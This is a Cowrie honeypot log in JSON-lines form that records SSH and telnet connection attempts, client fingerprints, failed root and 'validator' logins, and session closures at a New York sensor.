{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:13.155671Z","src_ip":"103.153.68.219","session":"8c0a25d4e1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxzxzx","message":"login attempt [root/zxzxzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:13.908719Z","src_ip":"103.153.68.219","session":"8c0a25d4e1d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56512,"dst_ip":"10.17.0.5","dst_port":23,"session":"7459e25a6668","protocol":"telnet","message":"New connection: 152.42.224.71:56512 (10.17.0.5:23) [session: 7459e25a6668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:14.294279Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:15.161281Z","src_ip":"103.153.68.219","session":"8c0a25d4e1d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56526,"dst_ip":"10.17.0.5","dst_port":23,"session":"da0c6a185bd3","protocol":"telnet","message":"New connection: 152.42.224.71:56526 (10.17.0.5:23) [session: da0c6a185bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:15.292361Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44776,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d04508f5247","protocol":"telnet","message":"New connection: 152.42.224.71:44776 (10.17.0.5:23) [session: 8d04508f5247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:23.244748Z"}
{"eventid":"cowrie.session.closed","duration":45.452205657958984,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:33.478540Z","src_ip":"152.42.224.71","session":"56185b94d5f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.67358756065369,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:36.897254Z","src_ip":"152.42.224.71","session":"3261af72175f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.240986824035645,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:37.034644Z","src_ip":"152.42.224.71","session":"c6a07e0c8932","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.16283416748047,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:37.699236Z","src_ip":"152.42.224.71","session":"18c85a9dbed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53548,"dst_ip":"10.17.0.5","dst_port":23,"session":"f77582b4a796","protocol":"telnet","message":"New connection: 152.42.224.71:53548 (10.17.0.5:23) [session: f77582b4a796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:37.711058Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53554,"dst_ip":"10.17.0.5","dst_port":23,"session":"677ddbf0ddc0","protocol":"telnet","message":"New connection: 152.42.224.71:53554 (10.17.0.5:23) [session: 677ddbf0ddc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:40.843290Z"}
{"eventid":"cowrie.session.connect","src_ip":"153.67.107.253","src_port":37324,"dst_ip":"10.17.0.5","dst_port":22,"session":"b667698f5ae8","protocol":"ssh","message":"New connection: 153.67.107.253:37324 (10.17.0.5:22) [session: b667698f5ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:55.356182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:55.361355Z","src_ip":"153.67.107.253","session":"b667698f5ae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":60876,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b924d0388fa","protocol":"telnet","message":"New connection: 213.108.3.46:60876 (10.17.0.5:23) [session: 3b924d0388fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:55.432653Z"}
{"eventid":"cowrie.session.closed","duration":0.01379251480102539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:55.446349Z","src_ip":"213.108.3.46","session":"3b924d0388fa","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:55.511305Z","src_ip":"153.67.107.253","session":"b667698f5ae8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:f1:14:ed:61:b0:83:59:56:63:4f:66:4c:47:43:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjOaoEt28VLM9yOGfYM3DYBCOLCZcQkgBBq1NYGpwxHU5PZ0EPvKM3Qa9rF7DIhdeqryucH8yxkcVuWEKO0O87K+FS49ZfmqzWaRG/t2tX1FON9XISzspKwpxCwyB03y1fx6NdAoHwdNWL3xqvYE/tA2cHsy7OyfszsKWEhHIyxVzKPFA4svBzM3hKNaw7NbV/SBXyPcnHTZz5NX4MV+4RDDqRW4EDiqMoz1oWJ4uDF4Z3B6nkjmwZ2FufiRtzUqthzPiZLaUHHn+XrVU91PXXx1ZxIxoGqQmAGseDyUlsVm78VN6fMPyZGeV6yj1V8SINiQD+NKPgSjoWDrhEFGWN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:f1:14:ed:61:b0:83:59:56:63:4f:66:4c:47:43:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:56.208049Z","src_ip":"153.67.107.253","session":"b667698f5ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:f1:14:ed:61:b0:83:59:56:63:4f:66:4c:47:43:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjOaoEt28VLM9yOGfYM3DYBCOLCZcQkgBBq1NYGpwxHU5PZ0EPvKM3Qa9rF7DIhdeqryucH8yxkcVuWEKO0O87K+FS49ZfmqzWaRG/t2tX1FON9XISzspKwpxCwyB03y1fx6NdAoHwdNWL3xqvYE/tA2cHsy7OyfszsKWEhHIyxVzKPFA4svBzM3hKNaw7NbV/SBXyPcnHTZz5NX4MV+4RDDqRW4EDiqMoz1oWJ4uDF4Z3B6nkjmwZ2FufiRtzUqthzPiZLaUHHn+XrVU91PXXx1ZxIxoGqQmAGseDyUlsVm78VN6fMPyZGeV6yj1V8SINiQD+NKPgSjoWDrhEFGWN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:56.212299Z","src_ip":"153.67.107.253","session":"b667698f5ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.966471433639526,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:56.258722Z","src_ip":"152.42.224.71","session":"da0c6a185bd3","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:69:d7:88:e8:17:fe:50:ed:98:c2:14:78:7a:f7:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnHPSdlbzaSWlOLytjEpNv4XOuPgrLHnhNy5/gUqGx/dnr+L3avoVGsYyBQvFNYZKD52UZeZI4gBA4x94HRM8PUYVNu6Pj0L1a+f+ytgE+Q5scGPLhfGU5G6onjdF2r6US0+xxlJv2TSs3v0BF5xTkEJpZhdq0drf0vJvvO+M3hjJ81knY7IbcseEtz3nid9Scho1KUYQ5ldlN6t0SbyO90+heQYQhHJMySOEu5PD3CI5lD8Qec0L4WGYRESPS+cbaEfFQyhXFx8GTgvf6OFsEB4qXotMwNgfCNpbmmhKsGhHCyRcOYCFbBE6pAK2/bpXwJ+GU8UfsmtZdgjwkJJef","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:69:d7:88:e8:17:fe:50:ed:98:c2:14:78:7a:f7:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:56.360585Z","src_ip":"153.67.107.253","session":"b667698f5ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:69:d7:88:e8:17:fe:50:ed:98:c2:14:78:7a:f7:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnHPSdlbzaSWlOLytjEpNv4XOuPgrLHnhNy5/gUqGx/dnr+L3avoVGsYyBQvFNYZKD52UZeZI4gBA4x94HRM8PUYVNu6Pj0L1a+f+ytgE+Q5scGPLhfGU5G6onjdF2r6US0+xxlJv2TSs3v0BF5xTkEJpZhdq0drf0vJvvO+M3hjJ81knY7IbcseEtz3nid9Scho1KUYQ5ldlN6t0SbyO90+heQYQhHJMySOEu5PD3CI5lD8Qec0L4WGYRESPS+cbaEfFQyhXFx8GTgvf6OFsEB4qXotMwNgfCNpbmmhKsGhHCyRcOYCFbBE6pAK2/bpXwJ+GU8UfsmtZdgjwkJJef","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:56.364739Z","src_ip":"153.67.107.253","session":"b667698f5ae8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:fc:5c:4f:c2:25:be:dd:2b:80:ef:53:88:da:ca:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNF6UHcUpcmq3IJ4b+GVZIs1dAZZKQXKqPyYEPjVcO8ClqXit8GIP6o+v4NWFO0aA6DzhruSO1Zc/ezLW94IXNyQYwwxZvh3Xst3q+f2vrGgrAUDyhP1eC57Suw6zCVgXYhtuDItBqofBWkTKmg525795jBxbEW3sLwBZmsRDkfL0gKCybvKdqs0o23R85KG4zkrh7YJWqzLdxeePWgCK5+hKlic9nvgl35qgbBsOc8qVrmWMtzmhryiqD/tQvsAUQhkGiLK9IH8UZ5K3IvmGyn9s5bnkFgzFB5+Y9U9cfxbWqAHgMwq27/rtGYrlL8pxs9HA6dSY9Mmike9fPexoB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:fc:5c:4f:c2:25:be:dd:2b:80:ef:53:88:da:ca:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:56.504380Z","src_ip":"153.67.107.253","session":"b667698f5ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:fc:5c:4f:c2:25:be:dd:2b:80:ef:53:88:da:ca:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNF6UHcUpcmq3IJ4b+GVZIs1dAZZKQXKqPyYEPjVcO8ClqXit8GIP6o+v4NWFO0aA6DzhruSO1Zc/ezLW94IXNyQYwwxZvh3Xst3q+f2vrGgrAUDyhP1eC57Suw6zCVgXYhtuDItBqofBWkTKmg525795jBxbEW3sLwBZmsRDkfL0gKCybvKdqs0o23R85KG4zkrh7YJWqzLdxeePWgCK5+hKlic9nvgl35qgbBsOc8qVrmWMtzmhryiqD/tQvsAUQhkGiLK9IH8UZ5K3IvmGyn9s5bnkFgzFB5+Y9U9cfxbWqAHgMwq27/rtGYrlL8pxs9HA6dSY9Mmike9fPexoB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:56.508196Z","src_ip":"153.67.107.253","session":"b667698f5ae8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:9b:34:d5:6b:3d:02:a5:4c:53:87:af:05:8a:4f:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAQhzX5nKkLgL2WJJnRzvMxnH1pvMUxHmTyWpeJ6JfbiWpjs2gXwuMR5riXZnLZdyYxIG5s9BmlxW8+6+xpJHeRMBUXNkQ9zz2fUDLALUvPEfErA9W4S56VUq0uPcSygb2X6KzbDRxMeoD7WKkrLiNLAyNMmLQMhmOKRsDTKyGKTjWVnTfTgun7XqBM3oqcvDRQDONNgJAEhZzFSYCwFxLLR/XnNRYhNxTZCPhKBpo9JFVjmYOROByPD3gGSa2VeCCLU2+2uvjOhEQ7q23usdLWQ+8WPH6MVlXCh/lDcmWeJHojare9U6dH+cPpy+A7aD5dBYhpVAwsQGIyZ9OKaEr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:9b:34:d5:6b:3d:02:a5:4c:53:87:af:05:8a:4f:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:56.655809Z","src_ip":"153.67.107.253","session":"b667698f5ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:9b:34:d5:6b:3d:02:a5:4c:53:87:af:05:8a:4f:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAQhzX5nKkLgL2WJJnRzvMxnH1pvMUxHmTyWpeJ6JfbiWpjs2gXwuMR5riXZnLZdyYxIG5s9BmlxW8+6+xpJHeRMBUXNkQ9zz2fUDLALUvPEfErA9W4S56VUq0uPcSygb2X6KzbDRxMeoD7WKkrLiNLAyNMmLQMhmOKRsDTKyGKTjWVnTfTgun7XqBM3oqcvDRQDONNgJAEhZzFSYCwFxLLR/XnNRYhNxTZCPhKBpo9JFVjmYOROByPD3gGSa2VeCCLU2+2uvjOhEQ7q23usdLWQ+8WPH6MVlXCh/lDcmWeJHojare9U6dH+cPpy+A7aD5dBYhpVAwsQGIyZ9OKaEr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:56.659468Z","src_ip":"153.67.107.253","session":"b667698f5ae8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:f8:c1:5c:06:3c:7e:e9:a6:48:04:fc:8b:5b:12:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxNDl89iNpxG4lQDrq96bAb4e0IBkScoqJ0+e3iI/yUaO9K70svmof/qtULlQWswaxR0ZrqimTbhC74SZrvPreh4/Wk3nLqGNZrmc6WHBtBuy61sqCxNG6xyi0BQ+xzzNi/BYve5oIq0/gylQPUq74CH8sTXWc+GLQ1p/9U2JvycO7aHx+uG69MoxfYjxiDupbCmG+KZYCvBrehkrWk9ziSR5XpOeYAL5BV2g8940Hq0CBzdcWyWobnKGSIemWmSV1qCOqpGaETVNthmr2iLC7N9/oRcel3GrLsGEZEq7ttTF7rMZrKTZyqw0qkRurDpyzD3PcBiyJvUawAfIVHIgCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:f8:c1:5c:06:3c:7e:e9:a6:48:04:fc:8b:5b:12:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:56.808070Z","src_ip":"153.67.107.253","session":"b667698f5ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:f8:c1:5c:06:3c:7e:e9:a6:48:04:fc:8b:5b:12:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxNDl89iNpxG4lQDrq96bAb4e0IBkScoqJ0+e3iI/yUaO9K70svmof/qtULlQWswaxR0ZrqimTbhC74SZrvPreh4/Wk3nLqGNZrmc6WHBtBuy61sqCxNG6xyi0BQ+xzzNi/BYve5oIq0/gylQPUq74CH8sTXWc+GLQ1p/9U2JvycO7aHx+uG69MoxfYjxiDupbCmG+KZYCvBrehkrWk9ziSR5XpOeYAL5BV2g8940Hq0CBzdcWyWobnKGSIemWmSV1qCOqpGaETVNthmr2iLC7N9/oRcel3GrLsGEZEq7ttTF7rMZrKTZyqw0qkRurDpyzD3PcBiyJvUawAfIVHIgCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:56.812365Z","src_ip":"153.67.107.253","session":"b667698f5ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:56.964589Z","src_ip":"153.67.107.253","session":"b667698f5ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.33353281021118,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:57.627704Z","src_ip":"152.42.224.71","session":"7459e25a6668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:57.717519Z","src_ip":"46.19.67.181","session":"1713ce732029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.110418796539307,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:01.821290Z","src_ip":"152.42.224.71","session":"f77582b4a796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.29394745826721,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:13.538590Z","src_ip":"152.42.224.71","session":"8d04508f5247","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.519527435302734,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:19.362475Z","src_ip":"152.42.224.71","session":"677ddbf0ddc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45878,"dst_ip":"10.17.0.5","dst_port":23,"session":"fad813a308a0","protocol":"telnet","message":"New connection: 152.42.224.71:45878 (10.17.0.5:23) [session: fad813a308a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:22.411571Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60744,"dst_ip":"10.17.0.5","dst_port":22,"session":"42c0882ab6ae","protocol":"ssh","message":"New connection: 193.32.162.145:60744 (10.17.0.5:22) [session: 42c0882ab6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:25.261676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:25.267061Z","src_ip":"193.32.162.145","session":"42c0882ab6ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:25.371598Z","src_ip":"193.32.162.145","session":"42c0882ab6ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"solana","message":"login attempt [validator/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:25.797752Z","src_ip":"193.32.162.145","session":"42c0882ab6ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:26.905196Z","src_ip":"193.32.162.145","session":"42c0882ab6ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":56960,"dst_ip":"10.17.0.5","dst_port":22,"session":"d19cff51a822","protocol":"ssh","message":"New connection: 109.237.96.109:56960 (10.17.0.5:22) [session: d19cff51a822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:34.984660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:34.990447Z","src_ip":"109.237.96.109","session":"d19cff51a822","protocol":"ssh"}
